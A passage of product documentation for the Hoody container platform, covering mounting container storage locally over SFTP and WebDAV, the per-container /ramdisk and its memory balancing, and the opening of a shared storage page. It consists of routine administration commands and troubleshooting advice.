```bash
# Mount container
# Copy /hoody/storage to local backup
cp -r /Volumes/webdav/hoody/storage ~/Backups/container-backup-2025-11-10/

# Or use rsync for incremental backups
rsync -av /Volumes/webdav/hoody/storage/ ~/Backups/container-latest/
```

**Better than:** Manual file downloads via HTTP API.

### Bulk File Upload

**Upload hundreds of files efficiently:**

```bash
# Mount container WebDAV
# Drag entire project folder from local machine
# to /Volumes/webdav/hoody/storage/projects/

# Or use command-line
cp -r ~/Projects/website/* /Volumes/webdav/var/www/html/
```

**Faster than:** Sequential HTTP uploads.

### View Logs in Real-Time

**Tail logs in your favorite local text editor:**

```bash
# Mount container
# Open log file with live-updating editor (e.g., VS Code, Sublime Text)
code /Volumes/webdav/hoody/storage/myapp/logs/app.log

# Log updates appear in real-time as container writes
```

**Alternative to:** SSH + `tail -f` command.

---

## Best Practices

### 1. Use SFTP for Privacy

SFTP's public key routing means the connection URL doesn't reveal which container you're accessing:

```bash
# Same endpoint for all containers
ssh.us-west-1.containers.hoody.icu

# Routing happens by SSH key (invisible to network observers)
```

WebDAV URLs contain project/container IDs (visible in URL).

### 2. Store Credentials Securely

**SFTP:** SSH keys already in `~/.ssh/` with permissions `600`

**WebDAV:** Use credential managers:
- **macOS:** Keychain stores WebDAV passwords automatically
- **Windows:** Credential Manager saves mapped drive credentials
- **Linux:** davfs2 secrets file with `chmod 600`

**Never hard-code** API tokens in scripts.

### 3. Unmount When Done

Leaving mounts active consumes resources:

```bash
# macOS
umount /Volumes/webdav

# Linux
fusermount -u ~/hoody-containers/container-1

# Windows
net use Z: /delete
```

Or use auto-unmount on logout/shutdown.

### 4. Use Read-Only Mounts for Safety

**SFTP (Linux/macOS):**
```bash
sshfs root@ssh.server.containers.hoody.icu:/ ~/container-1 \
  -o ro,IdentityFile=~/.ssh/key
```

**Prevents accidental deletions** when just browsing/reading files.

### 5. Prefer hoody-files HTTP API for Automation

Local mounting is for **human interaction** (file managers, editors).

For **automation** (scripts, CI/CD), use [Hoody Files HTTP API](/api/files/):

```bash
# ✅ Automation: Direct HTTP
curl "https://...-files.../api/v1/files/data.json"

# ❌ Automation: Mounting unnecessary
mount → access → unmount (slower, more complex)
```

---

## Useful Questions

### Do I need SSH configured for SFTP mounting?

Yes. SFTP uses SSH authentication, so your container must have an `ssh_public_key` configured. See [SSH Access](/foundation/networking/ssh/).

WebDAV doesn't require SSH—it uses [Hoody Proxy Permissions](/foundation/proxy/permissions/) (or no auth if permissions disabled).

### Can I mount multiple containers simultaneously?

Yes! Each container has unique SFTP/WebDAV endpoints. Mount as many as you need.

**SFTP:** Different SSH keys route to different containers (same hostname).

**WebDAV:** Different container URLs mount as different drives.

### Does mounting affect container performance?

Minimal impact. File operations go through hoody-files service, which is optimized for this use case.

**Heavy operations** (copying GBs of data) will consume bandwidth and I/O, like any file transfer.

### Can other users mount my container?

**SFTP:** Only if they have the container's SSH private key.

**WebDAV:** Only if they pass [Proxy Permissions](/foundation/proxy/permissions/) (if configured). If permissions disabled, WebDAV is open access.

**Security:** Configure Proxy Permissions for WebDAV access control. SFTP is always key-protected.

### What happens if I delete files via mounted drive?

Files are **permanently deleted** from container filesystem (same as SSH `rm` command).

**Safety:** Create [snapshots](/foundation/containers/snapshots/) before bulk deletions.

### Does mounting work with containers in "block" network mode?

Yes! Mounting is **INBOUND** (to container) via Hoody Proxy. Network block mode only prevents **OUTBOUND** (from container).

---

## Troubleshooting

### SFTP Connection Refused

**Problem:** "Connection refused" when mounting SFTP

**Solutions:**

1. **Verify container is running:**
   ```bash
   curl "https://api.hoody.icu/api/v1/containers/{id}"
   # Check: "status": "running"
   ```

2. **Test SSH connectivity:**
   ```bash
   ssh -i ~/.ssh/hoody-container-1 root@ssh.server.containers.hoody.icu
   # Should connect to shell
   ```

3. **Check SSH key is added to container:**
   ```bash
   # Verify via API
   GET /api/v1/containers/{id}
   # Check: "ssh_public_key" field is set
   ```

### WebDAV Authentication Failed

**Problem:** Windows can't connect to WebDAV, authentication fails

**Solutions:**

1. **Enable WebClient service:**
   ```powershell
   sc config webclient start=auto
   sc start webclient
   ```

2. **Allow Basic Auth over HTTPS:**
   Registry: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters`
   - Set `BasicAuthLevel` = `2`
   - Restart WebClient

3. **Check Proxy Permissions:**
   - If permissions configured: Verify credentials are correct
   - If no permissions: Any credentials should work (or leave blank)
   - See [Proxy Permissions](/foundation/proxy/permissions/) for configuration

### macOS Won't Connect to "Untrusted" HTTPS

**Problem:** macOS blocks WebDAV connection due to SSL certificate

**Solution:** Hoody uses valid Let's Encrypt certificates—this shouldn't happen.

If it does:
1. Verify URL is correct (use container's actual URL from Hoody)
2. Try SFTP instead (SSH doesn't have this issue)

### Files Appear Outdated After Editing

**Problem:** Changes made in container don't appear in mounted filesystem

**Cause:** File manager caching

**Solutions:**

1. **Unmount and remount:**
   ```bash
   umount /Volumes/webdav
   # Remount
   ```

2. **Refresh view:** F5 or ⌘R in file manager

3. **Use Hoody Terminal** to verify file contents:
   ```bash
   cat /path/to/changed/file
   ```

### Slow Transfer Speeds

**Problem:** File transfers via mounted filesystem are slow

**Solutions:**

1. **Check network latency:**
   ```bash
   ping ssh.server.containers.hoody.icu
   # High latency = slow transfers
   ```

2. **Use local server:** Create container on geographically close server

3. **Compress before transfer:**
   ```bash
   # Instead of copying entire directory
   tar czf backup.tar.gz /source/dir
   # Copy single compressed file (faster)
   ```

4. **Consider direct HTTP upload** for large files:
   ```bash
   curl -X PUT "https://...-files.../api/v1/files/uploads/large-file.zip" \
     --data-binary @large-file.zip
   ```

---

## What's Next

**Other storage capabilities:**
- **[Container Storage →](./)** - Understanding container filesystem and `/hoody/storage`
- **[SQLite Driver →](./sqlite-drive/)** - Concurrent-write-safe databases in `/hoody/databases/`
- **[Cloud Storage →](./cloud/)** - Mount 63 cloud providers via hoody-files
- **[Shared Storage →](./sharing-files/)** - Share directories between containers
- **[/ramdisk →](./ramdisk/)** - Ultra-fast RAM storage

**File access methods:**
- **[Hoody Files API →](/api/files/)** - HTTP-based filesystem operations
- **[SSH Access →](/foundation/networking/ssh/)** - Secure shell for command-line
- **[Hoody Terminal →](/kit/terminals/)** - Web-based shell access

**Understanding gained:**
- ✅ SFTP provided by Hoody API (SSH Proxy infrastructure)
- ✅ WebDAV provided by hoody-files (hoody-kit service)
- ✅ You mount FROM your machine TO container (client-initiated, you control it)
- ✅ Mount container filesystem in macOS Finder, Windows Explorer, Linux
- ✅ SFTP uses SSH keys (privacy-preserving routing via Hoody API)
- ✅ WebDAV uses Proxy Permissions (hoody-kit authentication)
- ✅ Same filesystem access as SSH, just via file manager GUI

---

> **Your container's filesystem, accessible from your local machine.**
> **SFTP via Hoody API. WebDAV via hoody-kit.**

**Client-initiated mounting. Your data, your control. Bridge cloud and local seamlessly.**

---

# /ramdisk

**Page:** foundation/storage/ramdisk

[Download Raw Markdown](./foundation/storage/ramdisk.md)

---

# /ramdisk

**Ultra-fast temporary storage in RAM, enabled by default.** Every container has `/ramdisk` available (unless explicitly disabled)—perfect for caches, build artifacts, and temporary processing that needs maximum speed.


**Important:** `/ramdisk` **does NOT consume RAM until you store data in it**. Empty ramdisk = zero RAM usage. Memory is allocated on-demand as you write files, and automatically freed when files are deleted.


---

## API Endpoints Summary

**Container Configuration:**
- **[POST /api/v1/projects/\{id\}/containers](/api/containers/)** - Create container (ramdisk enabled by default, or set `ramdisk: false`)
- **[PATCH /api/v1/containers/\{id\}](/api/containers/)** - Disable ramdisk with `ramdisk: false`
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - View ramdisk status

**File Access:**
- **[Hoody Files](/api/files/)** - Access `/ramdisk` via HTTP
- **[Hoody Terminal](/kit/terminals/)** - Shell access to ramdisk

---

## Key Characteristics

**Understanding /ramdisk:**



**Maximum size**, not allocated upfront:

Host with 64GB RAM:
- `/ramdisk` **capacity**: up to 32GB max (capped lower if the project is bound to a memory-limited subserver)
- **Actual usage**: Only what you store
- Empty ramdisk = 0 bytes RAM used

**On-demand allocation** - RAM consumed only when files written, freed when deleted.



**Orders of magnitude faster than disk:**
- Read: ~10-20 GB/s
- Write: ~10-20 GB/s
- Latency: `<1µs`

vs. SSD:
- Read: ~0.5-3 GB/s
- Write: ~0.5-2 GB/s  
- Latency: ~50-100µs



**Unique Hoody feature:**
- ✅ Persists through container stop/start
- ✅ Persists through container restart
- ❌ **Cleared on host reboot**

Data survives container operations, not host reboots.



**Each container has isolated ramdisk:**
- Container A's `/ramdisk` ≠ Container B's `/ramdisk`
- Cannot share via storage shares
- Independent memory allocation

For shared RAM: Use shared storage + OS page cache.



---

## ramdisk is Enabled by Default

**Every container automatically has `/ramdisk` available unless explicitly disabled.**

### Create Container with ramdisk


  
    ```bash
    # Create container — ramdisk enabled by default
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID --name "my-container" --hoody-kit

    # Create container with ramdisk explicitly disabled
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID --name "no-ramdisk" --hoody-kit --no-ramdisk
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';
    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: TOKEN });

    // ramdisk enabled by default — no flag needed
    const container = await client.api.containers.create(
      PROJECT_ID,
      { name: 'my-container', server_id: SERVER_ID, hoody_kit: true }
    );

    // Explicitly disable ramdisk
    const noRamdisk = await client.api.containers.create(
      PROJECT_ID,
      { name: 'no-ramdisk', server_id: SERVER_ID, hoody_kit: true, ramdisk: false }
    );
    ```
  
  
    ```bash
    # Create container — ramdisk enabled by default
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name": "my-container", "server_id": "'$SERVER_ID'", "hoody_kit": true}'

    # Create container with ramdisk explicitly disabled
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name": "no-ramdisk", "server_id": "'$SERVER_ID'", "hoody_kit": true, "ramdisk": false}'
    ```
  


### Interactive Playground


  
    

    `/ramdisk` is available immediately but consuming ZERO RAM (empty = no allocation).
  

  
    

    `/ramdisk` will NOT be available.
  

  
    ```bash
    # Stop container first
    POST /api/v1/containers/{id}/{operation}   # operation=stop
    Authorization: Bearer $HOODY_TOKEN

    # Disable ramdisk
    PATCH /api/v1/containers/{id}
    Authorization: Bearer $HOODY_TOKEN
    Content-Type: application/json

    { "ramdisk": false }

    # Start container - /ramdisk no longer available
    POST /api/v1/containers/{id}/{operation}   # operation=start
    Authorization: Bearer $HOODY_TOKEN
    # operation enum: start | stop | force-stop | restart | pause | resume
    ```
  


**Check ramdisk status:**

```bash
GET /api/v1/containers/{id}

# Response: "ramdisk": true (enabled) or false (disabled)
```

---

## Using /ramdisk

**Access like any directory:**

```bash
# In container (via terminal or SSH)
cd /ramdisk

# Create directories
mkdir -p /ramdisk/cache
mkdir -p /ramdisk/builds

# Write files (ultra-fast)
echo "data" > /ramdisk/cache/session-abc.json

# Read files (ultra-fast)
cat /ramdisk/cache/session-abc.json

# Check usage
df -h /ramdisk
```

**Files in `/ramdisk` are stored in RAM** - no disk I/O.

---

## Perfect Use Cases

### Build Artifacts & Compilation


  
    ```bash
    # Use ramdisk for node_modules and build output
    export NPM_CONFIG_CACHE=/ramdisk/npm-cache
    
    cd /home/user/project
    npm install  # Downloads to /ramdisk (fast)
    npm run build  # Output to /ramdisk/dist (fast)
    
    # Then copy final artifacts to persistent storage
    cp -r /ramdisk/dist /hoody/storage/production/
    ```
    
    **Speed boost:** 5-10x faster npm install and builds.
  
  
  
    ```bash
    # Build in ramdisk
    export GOCACHE=/ramdisk/go-cache
    export GOTMPDIR=/ramdisk/go-tmp
    
    go build -o /ramdisk/app .
    
    # Test from ramdisk (fast startup)
    /ramdisk/app
    
    # Copy final binary to persistent storage
    cp /ramdisk/app /hoody/storage/bin/
    ```
    
    **Compilation 3-5x faster** with ramdisk cache.
  
  
  
    ```bash
    # Install packages to ramdisk
    pip install --cache-dir=/ramdisk/pip-cache -r requirements.txt
    
    # Or set environment variable
    export PIP_CACHE_DIR=/ramdisk/pip-cache
    pip install flask numpy pandas
    ```
  


### High-Speed Caching

```bash
# Application cache in RAM
mkdir -p /ramdisk/app-cache

# Store frequently accessed data
cp /hoody/databases/users.db /ramdisk/app-cache/
sqlite3 /ramdisk/app-cache/users.db "SELECT ..."  # Ultra-fast

# Session storage
echo '{"user": 1, "token": "abc"}' > /ramdisk/sessions/user-1.json
```

**Response time:** `<1ms` for cache hits.

### Temporary File Processing

**Process files without disk I/O:**

```bash
# Download large file to ramdisk
curl "https://data.example.com/dataset.csv" > /ramdisk/dataset.csv

# Process in RAM (no disk writes)
awk -F',' '{sum+=$3} END {print sum}' /ramdisk/dataset.csv > /ramdisk/result.txt

# Upload result (delete temp file automatically on next host reboot)
curl -X POST "https://api.example.com/results" \
  -d "@/ramdisk/result.txt"
```

**No disk wear** from temporary files.

### Video/Image Processing

```bash
# Extract frames to ramdisk (burst I/O)
ffmpeg -i video.mp4 /ramdisk/frames/frame_%04d.png

# Process frames (parallel reads - ultra-fast)
for frame in /ramdisk/frames/*.png; do
  convert $frame -resize 50% $frame
done

# Merge back to video
ffmpeg -i /ramdisk/frames/frame_%04d.png output.mp4
```

**Thousands of small file operations** benefit massively from RAM speed.

---

## Memory Balancing ⚠️

**CRITICAL: You are responsible for memory balance across containers.**

### The Math

**Each container ramdisk has CAPACITY of up to 50% of total host memory** (capped lower if the project is bound to a memory-limited subserver):

```
Host with 8GB RAM:
- /ramdisk CAPACITY: up to 4GB max
- Actual RAM used: Only what you store
- Empty ramdisk: 0 bytes RAM consumed

Host with 16GB RAM:
- /ramdisk CAPACITY: up to 8GB max
- Store 1GB: 1GB RAM used
- Store 8GB: 8GB RAM used
```

**Critical distinction:** CAPACITY ≠ allocation. RAM consumed on-demand, freed automatically.

### The Problem: ACTUAL Usage Overlap

**If multiple containers FILL their ramdisks, total usage can exceed host RAM:**

```bash
# Host has 32GB RAM total

# Create 4 containers (ramdisk enabled by default)
# Each container's /ramdisk CAPACITY is up to 16GB (50% of the 32GB host)
Container A: /ramdisk capacity up to 16GB
Container B: /ramdisk capacity up to 16GB
Container C: /ramdisk capacity up to 16GB
Container D: /ramdisk capacity up to 16GB

# Scenario 1: Light usage (SAFE)
# Each stores 1GB: Total 4GB RAM used ✅

# Scenario 2: Heavy usage (CAREFUL)
# Each stores 8GB: Total 32GB RAM used (maxed) ⚠️

# Scenario 3: Overcommit (SWAP)
# Each stores 8GB + processes use RAM: >32GB → SWAP ❌
```

**When ACTUAL ramdisk usage exceeds host RAM:**
- ✅ Containers run without errors
- ❌ **Performance degrades heavily** (SWAP is disk-based)
- ❌ **Defeats the purpose** of using ramdisk (now using disk anyway)

**Remember:** Having 10 containers with ramdisk enabled is fine if they're mostly empty. Problem occurs when you FILL multiple ramdisks simultaneously.

### Calculating Safe Limits


**Rule of thumb:** Total ramdisk **ACTUAL USAGE** (not capacity) should be ≤50% of host RAM.

Monitor how much data you're **actually storing** in ramdisks, not maximum capacity.


**Example planning:**

```bash
# Host: 128GB RAM

# Safe allocation:
# Target max ramdisk USAGE: 64GB (50% of 128GB)

# Scenario A: Many containers, light ramdisk usage
# 16 containers (each /ramdisk can grow to ~64GB, but you keep usage light)
# Each stores ~2GB actually
# Total: 16 × 2GB = 32GB ✅ (safe, plenty of headroom)

# Scenario B: Fewer containers, heavy usage
# 4 containers (each /ramdisk can grow to ~64GB)
# Each stores 12GB actually
# Total: 4 × 12GB = 48GB ✅ (safe on 128GB host)

# Scenario C: Dangerous
# 10 containers, each storing 10GB in ramdisk
# Total: 100GB ramdisk + processes + OS → SWAP ❌
```

**Monitor ACTUAL usage via `df -h /ramdisk`, not theoretical capacity.**

### Monitoring Memory Usage

**Check host-level memory:**

```bash
# Drop a one-off script into hoody-exec and invoke it. Auth: Bearer $PROXY_TOKEN
# is the token issued for the container-proxy path (see /kit/exec/).

SERVICE="https://{project}-{container}-exec-1.{server}.containers.hoody.icu"

# 1. Upload scripts/default/1/free.sh (raw body)
curl -sS -X POST "$SERVICE/hoody/storage/hoody-exec/scripts/default/1/free.sh" \
  -H "Authorization: Bearer $PROXY_TOKEN" \
  --data-binary 'free -h'

# 2. Run it — path-routed invocation returns the script's stdout
curl -sS "$SERVICE/free.sh" \
  -H "Authorization: Bearer $PROXY_TOKEN"

# Response shows:
#               total        used        free      shared  buff/cache   available
# Mem:           64Gi        45Gi        2Gi       8Gi        16Gi        10Gi
# Swap:          16Gi        12Gi        4Gi  ← ⚠️ SWAP usage is bad
```

**If SWAP usage is high:** Too many ramdisks in use simultaneously.

**Fix:**
1. Disable ramdisk on less critical containers
2. Reduce ramdisk usage (delete unused files)
3. Add more RAM to host server

---

## What Persists vs. What Doesn't


  
    ```bash
    POST /api/v1/containers/{id}/{operation}   # operation=restart
    ```
    
    ✅ **PERSISTS**
    - All files in `/ramdisk` remain
    - Directory structure intact
    - No data loss
    
    **Unique to Hoody:** Traditional ramdisks clear on reboot. Hoody's `/ramdisk` **persists through container operations**.
  
  
  
    ```bash
    POST /api/v1/containers/{id}/{operation}   # operation=stop
    # ... later ...
    POST /api/v1/containers/{id}/{operation}   # operation=start
    # operation enum: start | stop | force-stop | restart | pause | resume
    ```
    
    ✅ **PERSISTS**
    - `/ramdisk` contents maintained
    - Same as restart behavior
  
  
  
    **When physical server reboots:**
    
    ❌ **CLEARED**
    - All `/ramdisk` contents deleted
    - Directory structure wiped
    - Starts empty after host reboot
    
    **This is RAM storage** - host reboot = power loss = data loss.
  
  
  
    ```bash
    POST /api/v1/containers/{id}/snapshots
    ```
    
    ❌ **NOT captured**
    - Snapshots save disk state only
    - `/ramdisk` is RAM, not disk
    - Restore = empty `/ramdisk`
    
    **For backup:** Copy critical ramdisk data to persistent storage before snapshot.
  


---

## Common Patterns

### Cache with Fallback

**Try ramdisk first, fall back to disk:**

```python
import os

def get_cached_data(key):
    ramdisk_path = f'/ramdisk/cache/{key}.json'
    disk_path = f'/hoody/storage/cache/{key}.json'
    
    # Try ramdisk first (fast)
    if os.path.exists(ramdisk_path):
        return read_file(ramdisk_path)
    
    # Fall back to disk
    if os.path.exists(disk_path):
        data = read_file(disk_path)
        # Promote to ramdisk for next access
        write_file(ramdisk_path, data)
        return data
    
    # Cache miss
    return None
```

### Build Then Persist

**Build in ramdisk, save final output to disk:**

```bash
#!/bin/bash
# Build script

# Compile in ramdisk (fast)
cd /ramdisk/build
cmake ..
make -j$(nproc)

# Test binary (fast startup from RAM)
./test-suite

# Copy ONLY final binary to persistent storage
cp binary /hoody/storage/production/app-v1.2.3

# Ramdisk build artifacts auto-deleted on host reboot
```

### Session Storage

**Store sessions in RAM for speed + auto-expiry:**

```javascript
// Sessions in ramdisk (fast read/write)
const sessionPath = `/ramdisk/sessions/${sessionId}.json`;

// Write session
fs.writeFileSync(sessionPath, JSON.stringify({userId, token, expiresAt}));

// Read session (ultra-fast)
const session = JSON.parse(fs.readFileSync(sessionPath));

// Host reboot = automatic session cleanup (no stale sessions)
```

---

## Performance Characteristics

**Actual speed comparison:**


  
    **Writing 1GB file:**
    
    | Storage | Write Speed | Time |
    |---------|-------------|------|
    | `/ramdisk` | ~15 GB/s | **~0.07s** |
    | SSD | ~2 GB/s | ~0.5s |
    | HDD | ~200 MB/s | ~5s |
    
    **RAM is 7-70x faster.**
  
  
  
    **10,000 small file operations:**
    
    | Storage | Operations/sec | Time |
    |---------|----------------|------|
    | `/ramdisk` | ~50,000 ops/s | **~0.2s** |
    | SSD | ~5,000 ops/s | ~2s |
    | HDD | ~100 ops/s | ~100s |
    
    **RAM is 10-500x faster for random I/O.**
  
  
  
    **Time to access data:**
    
    | Storage | Latency |
    |---------|---------|
    | `/ramdisk` | `<1µs` |
    | SSD | ~50-100µs |
    | HDD | ~5-10ms |
    
    **RAM has near-zero latency.**
  


---

## Memory Balance Warning ⚠️

**CRITICAL: Multiple containers with ramdisk can exceed host RAM.**

### The Overlap Problem

**Example scenario:**

```bash
Host Server: 64GB RAM total

# Create 5 containers, each with ramdisk enabled
# Each /ramdisk can grow to up to 32GB (50% of the 64GB host)
Container 1: stores 16GB in /ramdisk
Container 2: stores 16GB in /ramdisk
Container 3: stores 16GB in /ramdisk
Container 4: stores 16GB in /ramdisk
Container 5: stores 16GB in /ramdisk

# Total ramdisk usage: 80GB (5 × 16GB)
# Host actual RAM: 64GB
# Overcommit: 80GB - 64GB = 16GB goes to SWAP
```

**When SWAP is used:**
- ❌ **SEVERELY degrades performance** (SWAP is disk-based)
- ❌ **Defeats ramdisk purpose** (now using disk for "RAM" storage)
- ❌ **Causes system instability** (excessive swapping)

### Safe Planning Formula


**Formula:** `Total Ramdisk Allocation ≤ 50% of Host RAM`

This ensures:
- ✅ Room for container processes (other 50%)
- ✅ OS overhead and caches
- ✅ No SWAP usage


**Example planning:**

```bash
# Host: 128GB RAM

# Safe target:
# Max total ramdisk USAGE: 64GB (50% of host)
# Budget ~16GB of ramdisk usage per container
# Comfortable fit: ~4 containers (4 × 16GB = 64GB)

# Or: More containers with lighter ramdisk usage
# Budget ~8GB of ramdisk usage per container
# Comfortable fit: ~8 containers (8 × 8GB = 64GB)
```

### Checking SWAP Usage

**Detect if you're over-committed:**

```bash
# Via hoody-exec (same upload-then-invoke pattern as above)
curl -sS -X POST "$SERVICE/hoody/storage/hoody-exec/scripts/default/1/swap.sh" \
  -H "Authorization: Bearer $PROXY_TOKEN" \
  --data-binary 'free -h | grep Swap'

curl -sS "$SERVICE/swap.sh" -H "Authorization: Bearer $PROXY_TOKEN"

# Response example:
# Swap:          32Gi       8Gi      24Gi
#               ^^^^^^     ^^^^^
#               total      USED ← If >0, you're using SWAP

# If SWAP used > 1GB: Reduce ramdisk usage
```

**Solutions if SWAP is high:**
1. Disable ramdisk on some containers
2. Clear unnecessary ramdisk data: `rm -rf /ramdisk/*`
3. Reduce number of containers with ramdisk enabled
4. Upgrade host server RAM

---

## Best Practices

### 1. ramdisk is Enabled by Default (Disable if Not Needed)

**Ramdisk is enabled automatically, but you can opt out at creation time:**

```bash
# Disable ramdisk when creating the container (ramdisk is a create-time field)
POST /api/v1/projects/{id}/containers
{
  "ramdisk": false  // Explicitly disable at creation
}
```

**When to disable:**
- ✅ Simple APIs (CRUD operations, no heavy I/O)
- ✅ Static file servers
- ✅ Long-running daemons with minimal disk access
- ✅ Containers on hosts with limited RAM

**When to keep enabled (default):**
- ✅ Build servers (compilation, npm install)
- ✅ Cache servers (Redis-like workloads)
- ✅ Media processing (video/image transcoding)
- ✅ Data processing (ETL, analytics)

**Remember:** Enabled ramdisk with NO files = zero RAM consumed. Only disable if you're CERTAIN container won't benefit.

### 2. Use for Temporary Data Only

**Never rely on /ramdisk for critical data:**

```bash
# ✅ Good: Temporary processing
wget https://example.com/dataset.zip -O /ramdisk/dataset.zip
unzip /ramdisk/dataset.zip -d /ramdisk/processing/
# Process and save results to /hoody/storage

# ❌ Bad: Long-term storage
cp important-data.db /ramdisk/  # Lost on host reboot!
```

**Rule:** If data matters after host reboot, don't put it ONLY in `/ramdisk`.

### 3. Clean Up Aggressively

**Ramdisk space is limited - clean up after tasks:**

```bash
#!/bin/bash
# Build script with cleanup

# Build in ramdisk
npm install --prefix /ramdisk/build
npm run build --prefix /ramdisk/build

# Copy final bundle
cp /ramdisk/build/dist/*.js /hoody/storage/production/

# Clean up immediately (free RAM)
rm -rf /ramdisk/build

# Or clean on exit
trap 'rm -rf /ramdisk/build' EXIT
```

### 4. Monitor ramdisk Usage

```bash
# Check ramdisk usage regularly
df -h /ramdisk

# Alert if >80% full
USAGE=$(df /ramdisk | awk 'NR==2 {print $5}' | sed 's/%//')
if [ $USAGE -gt 80 ]; then
  echo "⚠️ Ramdisk >80% full"
fi
```

**Integrate with [hoody-notifications](/kit/notifications/)** for alerts.

### 5. Document ramdisk Dependencies

**If your app requires ramdisk:**

```json
// In container config or README
{
  "name": "video-processor",
  "ramdisk": true,
  "ramdisk_usage": "Required for frame extraction (temporary storage of 1000+ image files)"
}
```

**Future maintainers know** why ramdisk is enabled.

---

## Useful Questions

### Is /ramdisk faster than SSD?

Yes. **Dramatically faster:**
- RAM: ~15 GB/s throughput, `<1µs` latency
- SSD: ~2 GB/s throughput, ~50-100µs latency
- **10-50x faster** for I/O-intensive workloads

### What's the actual size of /ramdisk?

**CAPACITY is up to 50% of total host memory** (capped lower if the project is bound to a memory-limited subserver):

```bash
# Host has 8GB RAM
/ramdisk capacity: up to 4GB max

# Host has 32GB RAM
/ramdisk capacity: up to 16GB max
```

**But actual RAM consumption = only what you store:**

```bash
df -h /ramdisk
# Filesystem      Size  Used Avail Use% Mounted on
# tmpfs           4.0G  1.2G  2.8G  30% /ramdisk
#                 ^^^^  ^^^^  ---- Capacity vs Actual
#                 Max   Used  Free
```

Empty ramdisk shows 4.0G size but uses 0 bytes RAM. RAM allocated on-demand.

### Why does data persist through container restart but not host reboot?

**Container restart:**
- Container stops → Host keeps RAM allocated → Container starts → Same RAM data

**Host reboot:**
- Host powers off → **All RAM cleared** → Host powers on → Fresh RAM

**Physical limitation of RAM** - power loss = data loss.

### Can I disable ramdisk after creating container?

Yes:

```bash
# Stop container
POST /api/v1/containers/{id}/{operation}   # operation=stop

# Disable ramdisk
PATCH /api/v1/containers/{id}
{"ramdisk": false}

# Start container
POST /api/v1/containers/{id}/{operation}   # operation=start
# operation enum: start | stop | force-stop | restart | pause | resume

# /ramdisk no longer available (RAM freed)
```

**⚠️ WARNING:** Any data in `/ramdisk` is lost when disabling.

### What happens if /ramdisk fills up?

**Same as any filesystem:**
- "No space left on device" errors
- Applications fail to write
- System may become unstable

**Solution:**
```bash
# Delete old files
rm -rf /ramdisk/old-cache/*

# Or clear everything
rm -rf /ramdisk/*
```

### Can I share /ramdisk between containers?

No. `/ramdisk` is **isolated per container**.

**Workaround:**
```bash
# Copy from ramdisk to persistent storage
cp /ramdisk/data.json /hoody/storage/shared/

# Share persistent storage instead
POST /api/v1/containers/{id}/storage/shares {"source_path": "/hoody/storage/shared"}
```

Or use shared concurrent-write database in `/hoody/databases/`.

---

## Troubleshooting

### /ramdisk Not Available

**Problem:** `/ramdisk` directory doesn't exist

**Solutions:**

1. **Verify ramdisk enabled:**
   ```bash
   GET /api/v1/containers/{id}
   # Check: "ramdisk": true
   ```

2. **If false, enable it:**
   ```bash
   POST /api/v1/containers/{id}/{operation}   # operation=stop
   PATCH /api/v1/containers/{id} {"ramdisk": true}
   POST /api/v1/containers/{id}/{operation}   # operation=start
   # operation enum: start | stop | force-stop | restart | pause | resume
   ```

3. **Restart container if status shows true but missing:**
   ```bash
   POST /api/v1/containers/{id}/{operation}   # operation=restart
   ```

### Severe Performance Degradation

**Problem:** Container extremely slow, ramdisk operations taking seconds

**Likely cause:** **SWAP usage** (ramdisk overcommit)

**Debug:**

```bash
# Check SWAP usage via exec (upload once, then run)
SERVICE="https://{project}-{container}-exec-1.{server}.containers.hoody.icu"
curl -sS -X POST "$SERVICE/hoody/storage/hoody-exec/scripts/default/1/free.sh" \
  -H "Authorization: Bearer $PROXY_TOKEN" --data-binary 'free -h'
curl -sS "$SERVICE/free.sh" -H "Authorization: Bearer $PROXY_TOKEN"

# If Swap "used" column >0:
# - Too much ramdisk allocated across containers
# - System paging to disk (extremely slow)
```

**Solutions:**

1. **Immediate:** Clear ramdisk in other containers
   ```bash
   rm -rf /ramdisk/*
   ```

2. **Long-term:** Disable ramdisk on non-critical containers
   ```bash
   PATCH /api/v1/containers/{id} {"ramdisk": false}
   ```

3. **Permanent:** Reduce containers or increase host RAM

### Files Disappeared from /ramdisk

**Problem:** Files existed yesterday, now missing

**Cause:** Host server rebooted

**Remember:** `/ramdisk` is **cleared on host reboot** (not container reboot).

**Prevention:**
- Never store critical data ONLY in `/ramdisk`
- Always copy important results to persistent storage
- Document ramdisk as temporary storage in your app

---

## What's Next

**Storage ecosystem:**
- **[Container Storage →](./)** - Understanding container filesystem
- **[Mount Locally →](./mount-locally/)** - SFTP/WebDAV for local file managers
- **[SQLite Driver →](./sqlite-drive/)** - Concurrent-write databases
- **[Cloud Storage →](./cloud/)** - Connect 63 cloud providers
- **[Shared Storage →](./sharing-files/)** - Share directories between containers

**Performance tuning:**
- **[Container Creation →](/foundation/containers/create-edit-delete/)** - Enable ramdisk during creation
- **[Managing Containers →](/foundation/containers/managing/)** - Monitor resource usage

**Understanding gained:**
- ✅ `/ramdisk` enabled by default (set `ramdisk: false` to disable)
- ✅ RAM consumed on-demand (empty ramdisk = 0 bytes used)
- ✅ Capacity is up to 50% of total host memory, actual usage varies
- ✅ Provides RAM-speed storage (10-50x faster than SSD)
- ✅ Persists through container restarts (unique Hoody feature!)
- ✅ Cleared on host reboot (RAM = power loss = data loss)
- ✅ Monitor ACTUAL usage across containers to avoid SWAP

---

> **Ultra-fast RAM storage, enabled by default.**
> **Consumes RAM on-demand. Survives container restart. Cleared on host reboot.**

**Monitor actual usage, not capacity. Avoid SWAP. Use for speed, not persistence.**

---

# Shared Storage

**Page:** foundation/storage/sharing-files

[Download Raw Markdown](./foundation/storage/sharing-files.md)

---

# Shared Storage

**Share directories from one container to others—automatically works across servers.** Perfect for multi-service applications, team collaboration, and data exchange without duplicating files.


**Cross-Server Magic:** Storage shares automatically work between containers on **different physical servers**. Hoody handles all the complexity—full POSIX compliance including file locks is maintained transparently.


---

## API Endpoints Summary

**Complete Storage Shares API:**

**Creating & Managing Shares:**
